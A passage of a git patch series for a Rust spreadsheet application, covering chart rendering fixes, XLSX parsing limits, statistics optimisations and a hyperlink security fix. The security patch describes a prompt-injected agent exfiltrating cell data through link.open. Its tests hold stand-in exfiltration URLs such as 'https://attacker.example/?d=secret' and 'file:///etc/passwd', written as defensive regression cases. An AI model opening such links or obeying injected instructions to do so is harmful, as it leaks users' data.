From 5cf0e24f430176fdac37dbd2a284faa7215f1dd7 Mon Sep 17 00:00:00 2001 From: vangel76 Date: Tue, 13 Oct 2026 21:12:43 +0200 Subject: [PATCH 001/167] Charts: one combo plot-kind rule, no fixed_scale helper, ticks off the step grid (#1146) Co-Authored-By: Claude Sonnet 5.5 --- ROADMAP.md | 3 ++- crates/chart/src/axis.rs | 11 ++++------- crates/chart/src/render.rs | 20 +++++++++++--------- crates/chart/src/resolve.rs | 10 ++++++++-- crates/chart/src/tests.rs | 32 ++++++++++++++++++++++++++++++++ 5 files changed, 57 insertions(+), 19 deletions(-) diff --git a/ROADMAP.md b/ROADMAP.md index 070552d07..2e9336683 100644 --- a/ROADMAP.md +++ b/ROADMAP.md @@ -2,7 +2,7 @@ **Stage: alpha** · next: beta, ~25 points of "ready for real work" and ~160–240 h away -> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-12 · **Change:** minor (rows auto-fit oversized fonts on open and whole-row/column formatting) · **Target:** Microsoft Excel (Microsoft 365) +> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-13 · **Change:** trivial (chart combo plot-kind rule, scale ticks) · **Target:** Microsoft Excel (Microsoft 365) GridCraft aims at full Microsoft Excel parity, and at being better in places: faster, open (XLSX is the native format), fully scriptable by agents (MCP, control channel, CLI), and on the web. @@ -132,6 +132,7 @@ Ranked; estimates in Opus 5.5 agent-hours. Detail and the full beta-gate list in | Date | What landed | |---|---| +| 2026-10-13 | Charts: one combo plot-kind rule for resolving and drawing; ticks of a scale off the step grid keep their own values (#1146) | | 2026-10-12 | Rows auto-fit oversized fonts: opening a file and whole-row/column formatting grow non-custom rows to their tallest font (#833) | | 2026-10-12 | Number formats: parsing a format code is linear in its length (long runs of `[`, `,` or `/` no longer take quadratic time), and an unclosed `[` is a literal when splitting sections as well as when tokenizing (#810) | | 2026-10-12 | Number formats: a fraction denominator with 65,536 zeros no longer crashes; format codes are capped at 255 characters like Excel (longer codes display as General, `TEXT` gives `#VALUE!`) (#807) | diff --git a/crates/chart/src/axis.rs b/crates/chart/src/axis.rs index 8686bf7d9..46fc43f99 100644 --- a/crates/chart/src/axis.rs +++ b/crates/chart/src/axis.rs @@ -25,9 +25,11 @@ impl Scale { (0..=n) .map(|i| { let v = self.min + i as f64 * self.step; - // Snap away accumulated float error. + // Snap away accumulated float error, but only onto a multiple of the step that is + // really that close: a `min` off the step grid must keep its own ticks. let snapped = (v / self.step).round() * self.step; - if snapped.abs() < self.step * 1e-9 { 0.0 } else { snapped } + let v = if (snapped - v).abs() < self.step * 1e-9 { snapped } else { v }; + if v.abs() < self.step * 1e-9 { 0.0 } else { v } }) .collect() } @@ -107,11 +109,6 @@ pub fn nice_scale(lo: f64, hi: f64, force_zero: bool) -> Scale { Scale { min, max, step } } -/// Exact fixed scale (100% stacked axes). -pub(crate) fn fixed_scale(min: f64, max: f64, step: f64) -> Scale { - Scale { min, max, step } -} - /// A number format prepared once and reused for many labels. pub(crate) struct Fmt { general: bool, diff --git a/crates/chart/src/render.rs b/crates/chart/src/render.rs index 037b9099e..82769bcdc 100644 --- a/crates/chart/src/render.rs +++ b/crates/chart/src/render.rs @@ -5,7 +5,7 @@ use std::f32::consts::{PI, TAU}; use gridcraft_model::{Chart, ChartKind, LegendPos, LineDash, Theme, TrendlineKind}; -use crate::axis::{Fmt, Scale, clean, fixed_scale, nice_scale}; +use crate::axis::{Fmt, Scale, clean, nice_scale}; use crate::resolve::{MAX_POINTS, MAX_SERIES, MAX_TRENDLINES, series_color}; use crate::trend::{auto_name, fit_trendline, moving_average}; use crate::{ChartData, HAlign, Measure, Prim, Rgba, SeriesData, VAlign}; @@ -120,9 +120,10 @@ pub enum Swatch { Marker, } -/// The kind a series is drawn as (per-series kinds only apply to combo charts). -fn plot_kind(chart: &Chart, s: &SeriesData) -> ChartKind { - if chart.kind == ChartKind::Combo { if s.kind == ChartKind::Combo { ChartKind::Line } else { s.kind } } else { chart.kind } +/// The kind series `i` is drawn as (per-series kinds only apply to combo charts); the same rule +/// as `series_plot_kind`, applied to the already resolved series kind. +fn plot_kind(chart: &Chart, s: &SeriesData, i: usize) -> ChartKind { + crate::resolve::plot_kind(chart.kind, Some(s.kind), i) } /// Colour of point `j` for charts that colour by point (pie, doughnut, treemap, sunburst). @@ -163,8 +164,9 @@ pub fn legend_entries(chart: &Chart, data: &ChartData) -> Vec<(String, Rgba, Swa let series = data.series.iter().take(MAX_SERIES); let mut out: Vec<(String, Rgba, Swatch)> = series .clone() - .map(|s| { - let sw = match plot_kind(chart, s) { + .enumerate() + .map(|(i, s)| { + let sw = match plot_kind(chart, s, i) { ChartKind::Line | ChartKind::LineStacked | ChartKind::Radar | ChartKind::ScatterLines => Swatch::Line, ChartKind::LineMarkers => Swatch::LineMarker, ChartKind::Scatter | ChartKind::Bubble => Swatch::Marker, @@ -174,7 +176,7 @@ pub fn legend_entries(chart: &Chart, data: &ChartData) -> Vec<(String, Rgba, Swa }) .collect(); // Trendlines follow the series, named "Linear (Sales)" unless given a name. - for s in series.filter(|s| supports_trendline(plot_kind(chart, s))) { + for (_, s) in series.enumerate().filter(|(i, s)| supports_trendline(plot_kind(chart, s, *i))) { for t in s.trendlines.iter().take(MAX_TRENDLINES) { out.push((t.spec.name.clone().unwrap_or_else(|| auto_name(t.spec.kind, &s.name)), t.color, Swatch::Line)); } @@ -833,7 +835,7 @@ fn cartesian(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx, horizonta if ncat == 0 { return; } - let kinds: Vec = data.series.iter().map(|s| if horizontal { chart.kind } else { plot_kind(chart, s) }).collect(); + let kinds: Vec = data.series.iter().enumerate().map(|(i, s)| if horizontal { chart.kind } else { plot_kind(chart, s, i) }).collect(); let fams: Vec = kinds.iter().map(|k| family(*k)).collect(); let any_primary = data.series.iter().any(|s| !s.secondary); let sec: Vec = data.series.iter().map(|s| s.secondary && any_primary && !horizontal).collect(); @@ -915,7 +917,7 @@ fn cartesian(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx, horizonta })); let (lo, hi) = range.unwrap_or((0.0, 0.0)); let (scale, fmt) = if all100 { - (fixed_scale(if lo < -1e-9 { -1.0 } else { 0.0 }, if hi > 1e-9 || lo >= -1e-9 { 1.0 } else { 0.0 }, 0.2), Fmt::new("0%")) + (Scale { min: if lo < -1e-9 { -1.0 } else { 0.0 }, max: if hi > 1e-9 || lo >= -1e-9 { 1.0 } else { 0.0 }, step: 0.2 }, Fmt::new("0%")) } else { let code = members.first().and_then(|i| data.series.get(*i)).map(|s| s.number_format.as_str()).unwrap_or("General"); (nice_scale(lo, hi, force_zero), Fmt::new(code)) diff --git a/crates/chart/src/resolve.rs b/crates/chart/src/resolve.rs index c007e3e90..2faeeb356 100644 --- a/crates/chart/src/resolve.rs +++ b/crates/chart/src/resolve.rs @@ -170,7 +170,7 @@ fn series_name(wb: &Workbook, sheet: usize, name: &str) -> String { t.to_string() } -fn effective_kind(chart_kind: ChartKind, series_kind: Option, i: usize) -> ChartKind { +pub(crate) fn effective_kind(chart_kind: ChartKind, series_kind: Option, i: usize) -> ChartKind { match (chart_kind, series_kind) { (ChartKind::Combo, Some(k)) if k != ChartKind::Combo => k, (ChartKind::Combo, _) => { @@ -185,9 +185,15 @@ fn effective_kind(chart_kind: ChartKind, series_kind: Option, i: usiz } } +/// The kind series `i` is drawn as: its own kind in a combo chart (first series a column, the +/// rest lines when it has none), else the chart's. The one rule shared by resolving and drawing. +pub(crate) fn plot_kind(chart_kind: ChartKind, series_kind: Option, i: usize) -> ChartKind { + if chart_kind == ChartKind::Combo { effective_kind(chart_kind, series_kind, i) } else { chart_kind } +} + /// The kind series `i` of `chart` is drawn as: its own kind in a combo chart, else the chart's. pub fn series_plot_kind(chart: &Chart, i: usize) -> ChartKind { - if chart.kind == ChartKind::Combo { effective_kind(chart.kind, chart.series.get(i).and_then(|s| s.kind), i) } else { chart.kind } + plot_kind(chart.kind, chart.series.get(i).and_then(|s| s.kind), i) } /// Evaluates a chart's series formulas: names, values, categories (default "1", "2", …), X diff --git a/crates/chart/src/tests.rs b/crates/chart/src/tests.rs index 01f1aac49..4dcfcde84 100644 --- a/crates/chart/src/tests.rs +++ b/crates/chart/src/tests.rs @@ -1057,3 +1057,35 @@ fn area_charts_draw_source_value_labels_only_when_enabled() { assert!(first_label > last_poly, "{kind:?}: label drawn under a later area"); } } + +#[test] +fn drawing_and_resolving_agree_on_the_combo_plot_kind() { + // Resolved series carry `effective_kind`; drawing re-derives the kind from it. Both paths + // must give the same kind for every chart kind, series kind (or none) and series index. + let series_kinds = std::iter::once(None).chain(ALL_KINDS.iter().map(|k| Some(*k))); + for ck in ALL_KINDS { + for sk in series_kinds.clone() { + for i in 0..3 { + let mut c = chart(ck); + c.series = (0..3).map(|j| Series { kind: if j == i { sk } else { None }, ..Default::default() }).collect(); + let from_chart = series_plot_kind(&c, i); + let resolved = crate::resolve::effective_kind(ck, sk, i); + assert_eq!(crate::resolve::plot_kind(ck, Some(resolved), i), from_chart, "{ck:?} {sk:?} {i}"); + if ck != ChartKind::Combo { + assert_eq!(from_chart, ck); + } else { + assert_ne!(from_chart, ChartKind::Combo); + } + } + } + } +} + +#[test] +fn ticks_of_a_scale_off_the_step_grid_start_at_its_min() { + let s = Scale { min: 3.0, max: 7.0, step: 4.0 }; + assert_eq!(s.ticks(), vec![3.0, 7.0]); + // Aligned scales still snap float error away. + let s = Scale { min: 0.0, max: 1.0, step: 0.1 }; + assert!((s.ticks()[3] - 0.3).abs() < 1e-12 && s.ticks()[0] == 0.0); +} From 79214fd28737d7bf018663a513f18aaf10641a49 Mon Sep 17 00:00:00 2001 From: Higgs32584 Date: Wed, 21 Oct 2026 20:50:07 -0400 Subject: [PATCH 002/167] link: require confirmation for programmatic link.open (#2181) link.open is reachable by the control channel, CLI, MCP and workbook scripts, so it could open https://attacker/?d= without the user seeing it. By default (LinkPolicy::Confirm) it now refuses web and e-mail addresses with an error and opens no dialog; references still navigate and other schemes stay refused. A host may opt in with LinkPolicy::Allow (Rust API only, no command sets it). The UI's Open Hyperlink prompt no longer runs a command on OK: it calls Session::open_confirmed_link with the address it showed, kept in a private field, so ui.dialog.confirm can't press OK and ui.dialog.set can't swap the address behind the prompt text. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/insert.rs | 13 ++++-- crates/engine/src/lib.rs | 3 ++ crates/engine/src/links.rs | 42 ++++++++++++++++++++ crates/engine/src/tests.rs | 45 +++++++++++++++++++++ crates/ui-egui/src/dialogs.rs | 70 +++++++++++++++++++++++++++------ crates/ui-egui/src/grid.rs | 5 ++- 6 files changed, 161 insertions(+), 17 deletions(-) diff --git a/crates/engine/src/cmd/insert.rs b/crates/engine/src/cmd/insert.rs index 9f044613d..b9243f30b 100644 --- a/crates/engine/src/cmd/insert.rs +++ b/crates/engine/src/cmd/insert.rs @@ -162,7 +162,7 @@ pub fn specs() -> Vec { "Open Hyperlink", [], None, - "{url?: \"https://…\" | \"mailto:…\" | \"Sheet2!A1\", cell?} (default: the cell's link); only http, https and mailto are opened, any other scheme is an error; the UI asks before opening", + "{url?: \"https://…\" | \"mailto:…\" | \"Sheet2!A1\", cell?} (default: the cell's link); a reference selects; a web or e-mail address is an error unless the host allows it: the user opens those by clicking the link and confirming; any scheme but http, https and mailto is always an error", has_doc, open_link ), @@ -1199,9 +1199,11 @@ fn insert_link(s: &mut Session, p: &Json) -> Result { }) } -/// Follows a link: a reference selects it, an `http`/`https`/`mailto` address is handed to the -/// host (`UiRequest::OpenUrl`); anything else is refused ([`crate::links::classify`]). Opens no -/// dialog; the interactive click asks for confirmation first, in the UI. +/// Follows a link: a reference selects it; anything else is refused ([`crate::links::classify`]). +/// An `http`/`https`/`mailto` address is refused too unless the host set +/// [`crate::links::LinkPolicy::Allow`]: every caller of a command may be a script or an agent, so +/// the user opens such links by clicking and confirming, and the UI then calls +/// [`Session::open_confirmed_link`] (#2181). Opens no dialog. fn open_link(s: &mut Session, p: &Json) -> Result { let target = match str_param(p, "url").or_else(|| str_param(p, "target")) { Some(t) => t.to_string(), @@ -1217,6 +1219,9 @@ fn open_link(s: &mut Session, p: &Json) -> Result { match crate::links::classify(&target) { crate::links::LinkKind::Internal(r) => super::edit::go_to(s, &json!({"reference": r.trim_start_matches('#')})), crate::links::LinkKind::External(u) => { + if s.link_policy != crate::links::LinkPolicy::Allow { + return Err(EngineError::Other(crate::links::NEEDS_CONFIRMATION.into())); + } s.ui_requests.push(crate::UiRequest::OpenUrl(u.clone())); Ok(json!({"opened": u})) } diff --git a/crates/engine/src/lib.rs b/crates/engine/src/lib.rs index 258a1cb72..2d0a46a09 100644 --- a/crates/engine/src/lib.rs +++ b/crates/engine/src/lib.rs @@ -256,6 +256,9 @@ pub struct Session { /// Review › Notes › Show All Notes: every note is displayed. An application display setting /// (like Excel's comment indicator option), so it's not saved in the file. pub show_all_notes: bool, + /// Whether `link.open` may open web and e-mail addresses without the user's confirmation + /// (#2181). Host code sets it; no command does. + pub link_policy: links::LinkPolicy, } impl Session { diff --git a/crates/engine/src/links.rs b/crates/engine/src/links.rs index 04d8da677..4c2318f07 100644 --- a/crates/engine/src/links.rs +++ b/crates/engine/src/links.rs @@ -2,8 +2,50 @@ //! somebody sent), so it is hostile input: only `http`, `https` and `mailto` ever leave the //! workbook for the system; `file:`, `smb:`, UNC paths, custom URL handlers, `javascript:` and //! the like are refused. Everything without a scheme stays an in-workbook reference. +//! +//! Opening an allowed address also needs the user's say-so (#2181): `link.open` is reachable by +//! the control channel, the CLI, MCP and workbook scripts, so a prompt-injected agent could open +//! `https://attacker/?d=`. Under the default [`LinkPolicy::Confirm`] the command refuses +//! external addresses; only the host, after showing the address and getting OK from the user, +//! opens one through [`crate::Session::open_confirmed_link`], which no command reaches. use gridcraft_core::RangeRef; +use serde_json::{Value as Json, json}; + +use crate::{EngineError, Result, Session, UiRequest}; + +/// Whether `link.open` may hand an external (`http`/`https`/`mailto`) address to the host without +/// asking. Set by the host in code, never by a command, so a programmatic caller can't widen it. +#[derive(Clone, Copy, Debug, Default, PartialEq, Eq)] +pub enum LinkPolicy { + /// `link.open` refuses external addresses; the user opens them by clicking the link, which + /// asks first ([`Session::open_confirmed_link`]). References still navigate. + #[default] + Confirm, + /// The host trusts every caller of this session (an embedding that vets requests itself): + /// `link.open` opens allowed addresses directly. Disallowed schemes stay refused. + Allow, +} + +/// The error a programmatic `link.open` of a web or e-mail address returns. +pub const NEEDS_CONFIRMATION: &str = "Web and e-mail links open only when the user clicks them and confirms; a command can't open them."; + +impl Session { + /// Opens a link the user has just confirmed in the host's "Open Hyperlink" prompt: an allowed + /// address goes to the host (`UiRequest::OpenUrl`), a reference selects, anything else is + /// refused ([`classify`]). Not a command: only host code that showed the user this exact + /// address may call it. + pub fn open_confirmed_link(&mut self, target: &str) -> Result { + match classify(target) { + LinkKind::Internal(r) => self.execute("edit.goTo", json!({"reference": r.trim_start_matches('#')})), + LinkKind::External(u) => { + self.ui_requests.push(UiRequest::OpenUrl(u.clone())); + Ok(json!({"opened": u})) + } + LinkKind::Refused(why) => Err(EngineError::Other(why)), + } + } +} /// What a link target is. #[derive(Clone, Debug, PartialEq, Eq)] diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index 2ac290654..aff234671 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -3268,12 +3268,57 @@ fn link_open_refuses_every_scheme_but_http_https_and_mailto() { } assert!(s.execute("link.open", json!({"cell": "A1"})).is_err()); assert!(s.take_ui_requests().is_empty()); + // A host's `Allow` policy opens web and e-mail addresses directly, and nothing else. + s.link_policy = crate::links::LinkPolicy::Allow; + for url in ["file:///etc/passwd", "smb://h/s", "\\\\h\\s", "JAVASCRIPT:1"] { + assert!(s.execute("link.open", json!({"url": url})).is_err(), "{url}"); + } + assert!(s.take_ui_requests().is_empty()); s.execute("link.open", json!({"url": "HTTPS://example.org/a"})).unwrap(); assert_eq!(s.take_ui_requests(), vec![crate::UiRequest::OpenUrl("HTTPS://example.org/a".into())]); s.execute("link.open", json!({"url": "B2"})).unwrap(); assert!(s.take_ui_requests().is_empty()); } +/// #2181: `link.open` is reachable by the control channel, CLI, MCP and scripts, so by default it +/// opens no web or e-mail address (an exfiltration channel: `https://attacker/?d=`) +/// and asks for no dialog either; only the host's confirmed path opens one. +#[test] +fn programmatic_link_open_never_opens_an_external_address_without_confirmation() { + let mut s = s(); + assert_eq!(s.link_policy, crate::links::LinkPolicy::Confirm, "confirmation is the default"); + s.execute("cell.set", json!({"cell": "A1", "input": "secret"})).unwrap(); + s.execute("insert.link", json!({"cell": "B1", "target": "https://attacker.example/?d=secret"})).unwrap(); + s.execute("insert.link", json!({"cell": "C1", "target": "mailto:x@attacker.example"})).unwrap(); + s.take_ui_requests(); + for p in [ + json!({"url": "https://attacker.example/?d=secret"}), + json!({"url": "http://attacker.example"}), + json!({"target": "MAILTO:x@attacker.example"}), + json!({"cell": "B1"}), + json!({"cell": "C1"}), + ] { + let e = s.execute("link.open", p.clone()).unwrap_err().to_string(); + assert!(e.contains(crate::links::NEEDS_CONFIRMATION), "{p}: {e}"); + } + assert!(s.take_ui_requests().is_empty(), "no OpenUrl and no dialog for a programmatic caller"); + assert!(s.execute_headless("link.open", json!({"cell": "B1"})).is_err()); + assert!(s.take_ui_requests().is_empty()); + // References still navigate. + s.execute("link.open", json!({"url": "A1"})).unwrap(); + assert!(s.take_ui_requests().is_empty()); + + // The host's confirmed path opens the allowed address, and still refuses every other scheme. + assert_eq!(s.open_confirmed_link(" https://example.org/a ").unwrap(), json!({"opened": "https://example.org/a"})); + assert_eq!(s.take_ui_requests(), vec![crate::UiRequest::OpenUrl("https://example.org/a".into())]); + for url in ["file:///etc/passwd", "\\\\h\\s", "javascript:1", "x-custom://a", "\u{1}https://a.example"] { + assert!(s.open_confirmed_link(url).is_err(), "{url:?}"); + } + assert!(s.take_ui_requests().is_empty()); + s.open_confirmed_link("Sheet1!C3").unwrap(); + assert_eq!(s.doc().unwrap().selection.active, CellRef::new(2, 2)); +} + #[test] fn subtotal_109_recalculates_when_row_height_or_autofit_reveals_rows() { let mut s = s(); diff --git a/crates/ui-egui/src/dialogs.rs b/crates/ui-egui/src/dialogs.rs index fb899c702..f56136e94 100644 --- a/crates/ui-egui/src/dialogs.rs +++ b/crates/ui-egui/src/dialogs.rs @@ -40,6 +40,9 @@ pub struct Dialog { picture_target: Option<(u64, usize)>, /// The dialog this one was opened from (Name Manager › New…): it comes back when this closes. back: Option>, + /// Open Hyperlink: the address the prompt shows, which OK opens. Private, unlike `values`, so + /// `ui.dialog.set` can't swap it behind the text the user reads (#2181). + link: Option, } impl Dialog { @@ -73,6 +76,7 @@ impl Dialog { picture_inbox: None, picture_target: None, back: None, + link: None, } } @@ -91,6 +95,7 @@ impl Dialog { picture_inbox: None, picture_target: None, back: None, + link: None, } } @@ -349,19 +354,18 @@ impl Dialog { json!({"text": existing}), ) } - // Asks before a web or e-mail link leaves the workbook; OK runs `link.open`, which - // refuses anything but http, https and mailto. + // Asks before a web or e-mail link leaves the workbook. OK opens it through + // `Session::open_confirmed_link` (which refuses anything but http, https and mailto), + // not a command: `link.open` refuses web addresses for programmatic callers, and a + // dialog without a command can't be confirmed over the control channel (#2181). "openLink" => { let url = params.get("url").and_then(Json::as_str).unwrap_or_default().to_string(); - Dialog::form( - "openLink", - "Open Hyperlink", - "link.open", - vec![Note(format!( - "This workbook asks to open the address below. Links can lead to harmful sites or start other programs: open it only if you trust the workbook.\n\n{url}" - ))], - json!({"url": url}), - ) + let mut d = Dialog::custom("openLink", "Open Hyperlink", json!({"url": url})); + d.fields = vec![Note(format!( + "This workbook asks to open the address below. Links can lead to harmful sites or start other programs: open it only if you trust the workbook.\n\n{url}" + ))]; + d.link = Some(url); + d } "insertLink" => Dialog::form( "insertLink", @@ -1256,6 +1260,13 @@ pub fn show(app: &mut SheetApp, ctx: &egui::Context) { app.message = Some((d.title.clone(), "Return to the original worksheet to insert this picture, or cancel and choose another cell.".into())); confirm = false; } + if confirm && d.name == "openLink" { + confirm = false; + open = false; + if let Err(e) = open_confirmed_link(app, &d) { + app.message = Some((d.title.clone(), crate::clean_error(&e))); + } + } if confirm && let Some(cmd) = d.command { let params = build_params(&d); match app.run(cmd, params) { @@ -1365,6 +1376,15 @@ fn paste_special_shortcuts(d: &mut Dialog, ctx: &egui::Context) { }); } +/// The user pressed OK in Open Hyperlink: opens the address the prompt showed (`d.link`), never +/// one a caller edited into its values afterwards. +fn open_confirmed_link(app: &mut SheetApp, d: &Dialog) -> Result<(), String> { + let url = d.link.as_deref().unwrap_or_default(); + let r = app.session.open_confirmed_link(url).map(|_| ()).map_err(|e| e.to_string()); + app.after_engine(); + r +} + fn ok_cancel(ui: &mut egui::Ui, confirm: &mut bool, open: &mut bool) { ui.add_space(8.0); ui.with_layout(egui::Layout::right_to_left(egui::Align::Center), |ui| { @@ -2729,6 +2749,34 @@ mod tests { assert!(gridcraft_engine::cmd::data::check_validation(&doc.wb, 0, at, "4").is_some()); } + /// #2181: a programmatic `link.open` opens nothing; the Open Hyperlink prompt has no command + /// the control channel could confirm, and its OK opens exactly the address it showed. + #[test] + fn open_hyperlink_opens_only_the_address_the_user_confirmed() { + use std::{cell::RefCell, rc::Rc}; + let opened = Rc::new(RefCell::new(Vec::::new())); + let sink = opened.clone(); + let services = crate::Services { open_url: Some(Box::new(move |u: &str| sink.borrow_mut().push(u.to_string()))), ..Default::default() }; + let mut session = gridcraft_engine::Session::default(); + session.new_workbook(); + let mut app = SheetApp::new(session, services); + assert!(app.run("link.open", json!({"url": "https://attacker.example/?d=secret"})).is_err()); + app.after_engine(); + assert!(opened.borrow().is_empty(), "a programmatic link.open opens nothing"); + assert!(app.dialog.is_none(), "and opens no dialog"); + + let mut d = Dialog::open(&mut app, "openLink", json!({"url": "https://example.org/a"})).unwrap(); + assert!(d.command.is_none(), "`ui.dialog.confirm` can't press OK for the user"); + // A value edited behind the prompt's text is ignored: OK opens what the user read. + d.set_value("url", json!("https://attacker.example/?d=secret")); + open_confirmed_link(&mut app, &d).unwrap(); + assert_eq!(*opened.borrow(), vec!["https://example.org/a".to_string()]); + + let bad = Dialog::open(&mut app, "openLink", json!({"url": "file:///etc/passwd"})).unwrap(); + assert!(open_confirmed_link(&mut app, &bad).is_err()); + assert_eq!(opened.borrow().len(), 1); + } + #[test] fn data_validation_without_a_rule_opens_on_a_blank_list() { let mut session = gridcraft_engine::Session::default(); diff --git a/crates/ui-egui/src/grid.rs b/crates/ui-egui/src/grid.rs index 106bc6684..a0ea26ecb 100644 --- a/crates/ui-egui/src/grid.rs +++ b/crates/ui-egui/src/grid.rs @@ -2556,8 +2556,9 @@ fn delete_selected_object(app: &mut SheetApp, sh: &Sheet) -> bool { } /// A click on a hyperlink. References select; web and e-mail addresses ask first (the dialog's -/// OK runs `link.open`); every other kind is refused with a message. The decision is the -/// engine's ([`gridcraft_engine::links::classify`]), the same one `link.open` applies. +/// OK calls `Session::open_confirmed_link`, since `link.open` refuses them for programmatic +/// callers, #2181); every other kind is refused with a message. The decision is the engine's +/// ([`gridcraft_engine::links::classify`]), the same one `link.open` applies. pub fn follow_link(app: &mut SheetApp, target: &str) { use gridcraft_engine::links::{LinkKind, classify}; match classify(target) { From 0b7deaa3d80438cf4c5bf56988498e6fd8ca3b2b Mon Sep 17 00:00:00 2001 From: RedBearAK <64876997+RedBearAK@users.noreply.github.com> Date: Sat, 24 Oct 2026 17:32:33 -0800 Subject: [PATCH 003/167] XLSX: the XML element cap counts only elements kept in the tree `parse_streaming` counts every element it attaches to a parent against MAX_XML_NODES, but the cells of a worksheet are attached to their `row` while the row is open, and the row is then handed to the callback and dropped. So the count grew with every cell of a sheet although the tree never held more than one row, and a workbook with a sheet of about one million ordinary cells (12,274 rows by 103 columns) was reported damaged after 6,310 rows since #2413. Shared strings, streamed by `si`, had the same exposure: a table of about a million plain strings, or fewer rich-text ones. The count now returns to its value at the start of a split element when that element is handed out, so a streamed part of any size passes while a part that keeps a million elements in its tree is still refused. Regression test: 5,001 streamed rows of 100 cells are read whole; the same part kept in a tree is refused. Co-Authored-By: Claude Fable 5.1 --- crates/xlsx/src/xml.rs | 39 +++++++++++++++++++++++++++++++++++---- 1 file changed, 35 insertions(+), 4 deletions(-) diff --git a/crates/xlsx/src/xml.rs b/crates/xlsx/src/xml.rs index e671d0adf..26178a570 100644 --- a/crates/xlsx/src/xml.rs +++ b/crates/xlsx/src/xml.rs @@ -230,8 +230,11 @@ pub fn parse_streaming(xml: &[u8], split: &[&str], cb: &mut dyn FnMut(El) -> Res let mut root: Option = None; let mut buf = Vec::new(); // Elements kept in the tree so far, so a pathological part that passes the byte limits can - // still be refused before the tree itself outgrows memory. + // still be refused before the tree itself outgrows memory. Elements inside a `split` element + // are handed out with it and do not stay in the tree, so a streamed worksheet or shared-string + // table of any size passes: `kept_at_start` remembers the count when each open element began. let mut kept = 0usize; + let mut kept_at_start: Vec = Vec::new(); // Attach a finished element to its parent (or emit it / make it the root). fn finish( stack: &mut [El], @@ -240,11 +243,16 @@ pub fn parse_streaming(xml: &[u8], split: &[&str], cb: &mut dyn FnMut(El) -> Res split: &[&str], cb: &mut dyn FnMut(El) -> Result<(), IoError>, kept: &mut usize, + kept_at_start: Option, ) -> Result<(), IoError> { match stack.last_mut() { Some(parent) => { if split.contains(&el.name.as_str()) { cb(el)?; + // The element and everything parsed inside it have left the tree. + if let Some(k) = kept_at_start { + *kept = k; + } } else { *kept = kept.saturating_add(1); if *kept > MAX_XML_NODES { @@ -269,14 +277,16 @@ pub fn parse_streaming(xml: &[u8], split: &[&str], cb: &mut dyn FnMut(El) -> Res return Err(IoError::Xml("XML nested too deeply".into())); } stack.push(start_el(&e)); + kept_at_start.push(kept); } Event::Empty(e) => { let el = start_el(&e); - finish(&mut stack, &mut root, el, split, cb, &mut kept)?; + finish(&mut stack, &mut root, el, split, cb, &mut kept, None)?; } Event::End(_) => { if let Some(el) = stack.pop() { - finish(&mut stack, &mut root, el, split, cb, &mut kept)?; + let at_start = kept_at_start.pop(); + finish(&mut stack, &mut root, el, split, cb, &mut kept, at_start)?; } } Event::Text(t) => { @@ -315,7 +325,8 @@ pub fn parse_streaming(xml: &[u8], split: &[&str], cb: &mut dyn FnMut(El) -> Res } // Unclosed elements (truncated part): close them so we keep what we have. while let Some(el) = stack.pop() { - finish(&mut stack, &mut root, el, split, cb, &mut kept)?; + let at_start = kept_at_start.pop(); + finish(&mut stack, &mut root, el, split, cb, &mut kept, at_start)?; } root.ok_or_else(|| IoError::Xml("no root element".into())) } @@ -495,6 +506,26 @@ mod tests { } } + #[test] + fn a_streamed_part_may_hold_more_elements_than_the_cap() { + // A worksheet of ordinary size: 5001 rows of 100 cells is 1,000,200 `c` and `v` elements, + // more than the cap, but the rows are streamed out one by one and never pile up in the + // tree, so the part is read whole. Kept in a tree (no split), the same part is refused. + let row = format!("{}", "1".repeat(100)); + let xml = format!("{}", row.repeat(5001)); + let mut rows = 0usize; + let root = parse_streaming(xml.as_bytes(), &["row"], &mut |r| { + assert_eq!(r.children.len(), 100); + rows += 1; + Ok(()) + }) + .unwrap(); + assert_eq!(rows, 5001); + assert!(root.children.is_empty()); + let err = parse(xml.as_bytes()).unwrap_err(); + assert!(err.to_string().contains("elements"), "{err}"); + } + #[test] fn a_part_of_endless_empty_elements_is_refused() { assert!(parse(b"").is_ok()); From 890870cd57167fda190716689b64897fcb16596e Mon Sep 17 00:00:00 2001 From: vangel76 Date: Mon, 26 Oct 2026 22:11:08 +0100 Subject: [PATCH 004/167] perf: select instead of sort in MEDIAN, PERCENTILE, QUARTILE, LARGE, SMALL Read the needed order statistics with select_nth_unstable_by(total_cmp) instead of a full sort. Results are bit-identical; a test compares them against the previous full-sort code on randomised data. Fixes #2679 Co-Authored-By: Claude Sonnet 5.5 --- crates/functions/src/stat.rs | 149 +++++++++++++++++++++++++++++++---- 1 file changed, 132 insertions(+), 17 deletions(-) diff --git a/crates/functions/src/stat.rs b/crates/functions/src/stat.rs index 344ba9ff8..4ef2625cc 100644 --- a/crates/functions/src/stat.rs +++ b/crates/functions/src/stat.rs @@ -51,10 +51,11 @@ fn median(v: Vec) -> R { if v.is_empty() { return Err(CellError::Num); } - let s = sorted(v); - let n = s.len(); - let hi = s.get(n / 2).copied().unwrap_or(0.0); - if n % 2 == 1 { Ok(hi) } else { Ok(s.get(n / 2 - 1).copied().unwrap_or(0.0).midpoint(hi)) } + let mut v = v; + let n = v.len(); + let (lower, hi, _) = v.select_nth_unstable_by(n / 2, f64::total_cmp); + let hi = *hi; + if n % 2 == 1 { Ok(hi) } else { Ok(lower.iter().copied().max_by(f64::total_cmp).unwrap_or(0.0).midpoint(hi)) } } /// Values occurring at least twice, ordered by first occurrence, with their (equal, maximal) count. @@ -125,29 +126,38 @@ fn kth(v: Vec, k: f64, largest: bool) -> R { if k.is_nan() || k < 1.0 || k > v.len() as f64 { return Err(CellError::Num); } - let s = sorted(v); + let mut v = v; let k = k as usize; - let idx = if largest { s.len() - k } else { k - 1 }; - s.get(idx).copied().ok_or(CellError::Num) + let idx = if largest { v.len() - k } else { k - 1 }; + // Selection instead of a full sort; same total order, so the same bit pattern as `sorted(v)[idx]`. + Ok(*v.select_nth_unstable_by(idx, f64::total_cmp).1) } -fn interp(s: &[f64], pos: f64) -> R { +/// Value at fractional rank `pos` of the sorted data, linearly interpolated, found by selection. +fn interp(mut v: Vec, pos: f64) -> R { let i = pos.floor(); let frac = pos - i; let i = i as usize; - let lo = *s.get(i).ok_or(CellError::Num)?; - match s.get(i + 1) { - Some(hi) if frac > 